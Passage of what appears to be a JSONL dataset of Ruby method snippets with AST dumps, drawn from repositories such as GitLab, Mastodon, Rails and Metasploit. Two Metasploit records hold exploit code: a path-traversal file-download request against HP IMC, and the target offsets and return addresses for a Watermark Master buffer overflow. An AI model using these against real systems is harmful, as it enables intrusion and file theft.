request...\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},\"to_s\"]},{\"type\":\"str\",\"children\":[\"tmp\"]},{\"type\":\"str\",\"children\":[\"fault\"]},{\"type\":\"str\",\"children\":[\"download\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_get\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"fileName\"]},{\"type\":\"lvar\",\"children\":[\"travs\"]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"headers\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Content-Type\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"headers\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Content-Type\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"application/doc\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"contents\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]}]},{\"type\":\"lvasgn\",\"children\":[\"fname\",{\"type\":\"send\",\"children\":[null,\"my_basename\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"FILEPATH\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[null,\"store_loot\",{\"type\":\"str\",\"children\":[\"hp.imc.faultdownloadservlet\"]},{\"type\":\"str\",\"children\":[\"application/octet-stream\"]},{\"type\":\"lvar\",\"children\":[\"ip\"]},{\"type\":\"lvar\",\"children\":[\"contents\"]},{\"type\":\"lvar\",\"children\":[\"fname\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\" - File saved in: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\" - Failed to retrieve file\"]}]}]},{\"type\":\"return\",\"children\":[]}]}]}]}]}","id":"47d2d9cb-f232-438d-93b2-7665734b3043"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/variables/builder/release.rb","start_line":18,"raw_source":"def variables\n            strong_memoize(:variables) do\n              ::Gitlab::Ci::Variables::Collection.new.tap do |variables|\n                next variables unless release\n\n                if release.description\n                  variables.append(\n                    key: 'CI_RELEASE_DESCRIPTION',\n                    value: release.description.truncate(DESCRIPTION_LIMIT),\n                    raw: true)\n                end\n\n                variables.append(key: 'CI_RELEASE_NAME', value: release.name)\n              end\n            end\n          end","complexity_score":23.5,"ast_json":"{\"type\":\"def\",\"children\":[\"variables\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"strong_memoize\",{\"type\":\"sym\",\"children\":[\"variables\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"Ci\"]},\"Variables\"]},\"Collection\"]},\"new\"]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"variables\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"release\"]},null,{\"type\":\"next\",\"children\":[{\"type\":\"lvar\",\"children\":[\"variables\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"release\"]},\"description\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"variables\"]},\"append\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"str\",\"children\":[\"CI_RELEASE_DESCRIPTION\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"release\"]},\"description\"]},\"truncate\",{\"type\":\"const\",\"children\":[null,\"DESCRIPTION_LIMIT\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"raw\"]},{\"type\":\"true\",\"children\":[]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"variables\"]},\"append\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"str\",\"children\":[\"CI_RELEASE_NAME\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"release\"]},\"name\"]}]}]}]}]}]}]}]}","id":"c4b6b0ba-e407-497b-b886-4e0499fbbe8f"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/poll/app/serializers/poll_serializer.rb","start_line":27,"raw_source":"def include_public?\n    object.everyone?\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"include_public?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"everyone?\"]}]}","id":"7289e8e9-7998-4d1e-85c1-9e4d67092001"}
{"repo_name":"multiwoven","file_path":"./repos/multiwoven/integrations/lib/multiwoven/integrations/destination/google_sheets/client.rb","start_line":193,"raw_source":"def update_sheet_values(values, stream_name)\n            row_count = spread_sheet_value(stream_name).count\n            range = \"#{stream_name}!A#{row_count + 1}\"\n            value_range = Google::Apis::SheetsV4::ValueRange.new(range: range, values: values)\n\n            batch_update_request = Google::Apis::SheetsV4::BatchUpdateValuesRequest.new(\n              value_input_option: \"RAW\",\n              data: [value_range]\n            )\n\n            # TODO: Remove & this is added for the test to pass we need\n            response = @client&.batch_update_values(@spreadsheet_id, batch_update_request)\n            [batch_update_request, response]\n          end","complexity_score":11.5,"ast_json":"{\"type\":\"def\",\"children\":[\"update_sheet_values\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"values\"]},{\"type\":\"arg\",\"children\":[\"stream_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"row_count\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"spread_sheet_value\",{\"type\":\"lvar\",\"children\":[\"stream_name\"]}]},\"count\"]}]},{\"type\":\"lvasgn\",\"children\":[\"range\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stream_name\"]}]},{\"type\":\"str\",\"children\":[\"!A\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row_count\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"value_range\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Google\"]},\"Apis\"]},\"SheetsV4\"]},\"ValueRange\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"range\"]},{\"type\":\"lvar\",\"children\":[\"range\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"values\"]},{\"type\":\"lvar\",\"children\":[\"values\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"batch_update_request\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Google\"]},\"Apis\"]},\"SheetsV4\"]},\"BatchUpdateValuesRequest\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value_input_option\"]},{\"type\":\"str\",\"children\":[\"RAW\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"data\"]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value_range\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"csend\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@client\"]},\"batch_update_values\",{\"type\":\"ivar\",\"children\":[\"@spreadsheet_id\"]},{\"type\":\"lvar\",\"children\":[\"batch_update_request\"]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"batch_update_request\"]},{\"type\":\"lvar\",\"children\":[\"response\"]}]}]}]}","id":"3c1078d1-ee6d-453f-9d3f-f3fd20031274"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/fileformat/watermark_master.rb","start_line":12,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Watermark Master Buffer Overflow (SEH)',\n        'Description' => %q{\n          This module exploits a stack based buffer overflow in Watermark Master 2.2.23 when\n          processing a specially crafted .WCF file. This vulnerability could be\n          exploited by a remote attacker to execute arbitrary code on the target\n          machine by enticing a user of Watermark Master to open a malicious .WCF file.\n        },\n        'License' => MSF_LICENSE,\n        'Notes' => {\n          'Stability' => [],\n          'SideEffects' => [],\n          'Reliability' => []\n        },\n        'Author' => [\n          'metacom', # Original discovery\n          'Andrew Smith', # MSF Module\n        ],\n        'References' => [\n          [ 'OSVDB', '99226' ],\n          [ 'CVE', '2013-6935'],\n          [ 'EDB', '29327' ]\n        ],\n        'DefaultOptions' => {\n          'EXITFUNC' => 'process',\n        },\n        'Platform' => 'win',\n        'Payload' => {\n          'BadChars' => \"\\x00\\x0a\\x0d\\x3c\\x22\\x26\",\n          'DisableNops' => false,\n          'Space' => 7276\n        },\n\n        'Targets' => [\n          [\n            'Windows 7 x32 - Watermark Master 2.2.23',\n            {\n              'Ret' => 0x10015f2d, # p/p/r | CommonClassesMFC.dll\n              'Offset' => 516\n            }\n          ],\n          [\n            'Windows 7 x64 - Watermark Master 2.2.23',\n            {\n              'Ret' => 0x1001329a, # p/p/r | CommonClassesMFC.dll\n              'Offset' => 516\n            }\n          ],\n        ],\n        'Privileged' => false,\n        'DisclosureDate' => '2013-11-01',\n        'DefaultTarget' => 0\n      )\n    )\n\n    register_options([OptString.new('FILENAME', [ false, 'The file name.', 'msf.wcf']),])\n  end","complexity_score":6.7,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Watermark Master Buffer Overflow (SEH)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits a stack based buffer overflow in Watermark Master 2.2.23 when\\n\"]},{\"type\":\"str\",\"children\":[\"          processing a specially crafted .WCF file. This vulnerability could be\\n\"]},{\"type\":\"str\",\"children\":[\"          exploited by a remote attacker to execute arbitrary code on the target\\n\"]},{\"type\":\"str\",\"children\":[\"          machine by enticing a user of Watermark Master to open a malicious .WCF file.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"metacom\"]},{\"type\":\"str\",\"children\":[\"Andrew Smith\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"99226\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2013-6935\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"EDB\"]},{\"type\":\"str\",\"children\":[\"29327\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"EXITFUNC\"]},{\"type\":\"str\",\"children\":[\"process\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"BadChars\"]},{\"type\":\"str\",\"children\":[\"\\u0000\\n\\r<\\\"&\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisableNops\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Space\"]},{\"type\":\"int\",\"children\":[7276]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows 7 x32 - Watermark Master 2.2.23\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Ret\"]},{\"type\":\"int\",\"children\":[268525357]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Offset\"]},{\"type\":\"int\",\"children\":[516]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows 7 x64 - Watermark Master 2.2.23\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Ret\"]},{\"type\":\"int\",\"children\":[268513946]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Offset\"]},{\"type\":\"int\",\"children\":[516]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2013-11-01\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"FILENAME\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The file name.\"]},{\"type\":\"str\",\"children\":[\"msf.wcf\"]}]}]}]}]}]}]}","id":"0d39f860-2e98-481f-9ae5-df9531845a99"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/lib/extractor.rb","start_line":23,"raw_source":"def extract_mentions_or_lists_with_indices(text)\n    return [] unless text && Twitter::TwitterText::Regex[:at_signs].match?(text)\n\n    possible_entries = []\n\n    text.scan(Account::MENTION_RE) do |screen_name, _|\n      match_data = $LAST_MATCH_INFO\n      after      = ::Regexp.last_match.post_match\n\n      unless Twitter::TwitterText::Regex[:end_mention_match].match?(after)\n        _, domain = screen_name.split('@')\n\n        next if domain.present? && domain.length > MAX_DOMAIN_LENGTH\n\n        start_position = match_data.char_begin(1) - 1\n        end_position   = match_data.char_end(1)\n\n        possible_entries << {\n          screen_name: screen_name,\n          indices: [start_position, end_position],\n        }\n      end\n    end\n\n    if block_given?\n      possible_entries.each do |mention|\n        yield mention[:screen_name], mention[:indices].first, mention[:indices].last\n      end\n    end\n\n    possible_entries\n  end","complexity_score":50.95,"ast_json":"{\"type\":\"def\",\"children\":[\"extract_mentions_or_lists_with_indices\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"text\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Twitter\"]},\"TwitterText\"]},\"Regex\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"at_signs\"]}]},\"match?\",{\"type\":\"lvar\",\"children\":[\"text\"]}]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"possible_entries\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text\"]},\"scan\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Account\"]},\"MENTION_RE\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"screen_name\"]},{\"type\":\"arg\",\"children\":[\"_\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"match_data\",{\"type\":\"gvar\",\"children\":[\"$LAST_MATCH_INFO\"]}]},{\"type\":\"lvasgn\",\"children\":[\"after\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Regexp\"]},\"last_match\"]},\"post_match\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Twitter\"]},\"TwitterText\"]},\"Regex\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"end_mention_match\"]}]},\"match?\",{\"type\":\"lvar\",\"children\":[\"after\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"_\"]},{\"type\":\"lvasgn\",\"children\":[\"domain\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"screen_name\"]},\"split\",{\"type\":\"str\",\"children\":[\"@\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"domain\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"domain\"]},\"length\"]},\">\",{\"type\":\"const\",\"children\":[null,\"MAX_DOMAIN_LENGTH\"]}]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"start_position\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match_data\"]},\"char_begin\",{\"type\":\"int\",\"children\":[1]}]},\"-\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"lvasgn\",\"children\":[\"end_position\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match_data\"]},\"char_end\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"possible_entries\"]},\"<<\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"screen_name\"]},{\"type\":\"lvar\",\"children\":[\"screen_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"indices\"]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"start_position\"]},{\"type\":\"lvar\",\"children\":[\"end_position\"]}]}]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"block_given?\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"possible_entries\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"mention\"]}]},{\"type\":\"yield\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mention\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"screen_name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mention\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"indices\"]}]},\"first\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mention\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"indices\"]}]},\"last\"]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"possible_entries\"]}]}]}","id":"d087c250-ffeb-4808-8afe-92544e614393"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/arel/nodes/ascending_test.rb","start_line":8,"raw_source":"def test_construct\n        ascending = Ascending.new \"zomg\"\n        assert_equal \"zomg\", ascending.expr\n      end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_construct\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ascending\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Ascending\"]},\"new\",{\"type\":\"str\",\"children\":[\"zomg\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"zomg\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ascending\"]},\"expr\"]}]}]}]}","id":"b6d180c9-2506-4783-8774-413642d13785"}
{"repo_name":"spree","file_path":"./repos/spree/api/app/models/concerns/spree/webhooks/has_webhooks.rb","start_line":43,"raw_source":"def inferred_event_name(operation)\n        \"#{self.class.name.demodulize.tableize.singularize}.#{operation}\"\n      end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"inferred_event_name\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"operation\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"name\"]},\"demodulize\"]},\"tableize\"]},\"singularize\"]}]},{\"type\":\"str\",\"children\":[\".\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"operation\"]}]}]}]}","id":"ede48917-6795-4b4d-82e2-6afd79943575"}
{"repo_name":"forem","file_path":"./repos/forem/app/models/user.rb","start_line":627,"raw_source":"def enough_credits?(num_credits_needed)\n    credits.unspent.size >= num_credits_needed\n  end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"enough_credits?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"num_credits_needed\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"credits\"]},\"unspent\"]},\"size\"]},\">=\",{\"type\":\"lvar\",\"children\":[\"num_credits_needed\"]}]}]}","id":"b644ba3a-736e-4e7e-9929-c95d46d62fc6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/omniauth_callbacks_controller.rb","start_line":291,"raw_source":"def handle_signup_from_restricted_country_error\n    sign_up_message = \"Sign up with Jihu\"\n    jihu_url = ActionController::Base.helpers.link_to _(sign_up_message), \"https://about.gitlab.com/pricing/faq-jihu/\",\n      class: 'gl-link'\n    message = safe_format(_('It looks like you are visiting GitLab from Mainland China, Macau, or Hong Kong.' \\\n      'We advise you to %{jihu_url} before continuing.'), jihu_url: jihu_url)\n\n    flash[:alert] = sanitize(message)\n\n    redirect_to new_user_session_path\n  end","complexity_score":13.8,"ast_json":"{\"type\":\"def\",\"children\":[\"handle_signup_from_restricted_country_error\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"sign_up_message\",{\"type\":\"str\",\"children\":[\"Sign up with Jihu\"]}]},{\"type\":\"lvasgn\",\"children\":[\"jihu_url\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionController\"]},\"Base\"]},\"helpers\"]},\"link_to\",{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"lvar\",\"children\":[\"sign_up_message\"]}]},{\"type\":\"str\",\"children\":[\"https://about.gitlab.com/pricing/faq-jihu/\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class\"]},{\"type\":\"str\",\"children\":[\"gl-link\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"message\",{\"type\":\"send\",\"children\":[null,\"safe_format\",{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"It looks like you are visiting GitLab from Mainland China, Macau, or Hong Kong.\"]},{\"type\":\"str\",\"children\":[\"We advise you to %{jihu_url} before continuing.\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"jihu_url\"]},{\"type\":\"lvar\",\"children\":[\"jihu_url\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flash\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"alert\"]},{\"type\":\"send\",\"children\":[null,\"sanitize\",{\"type\":\"lvar\",\"children\":[\"message\"]}]}]},{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"send\",\"children\":[null,\"new_user_session_path\"]}]}]}]}","id":"6bbfd711-70d3-492c-8d6f-322d53b0a173"}
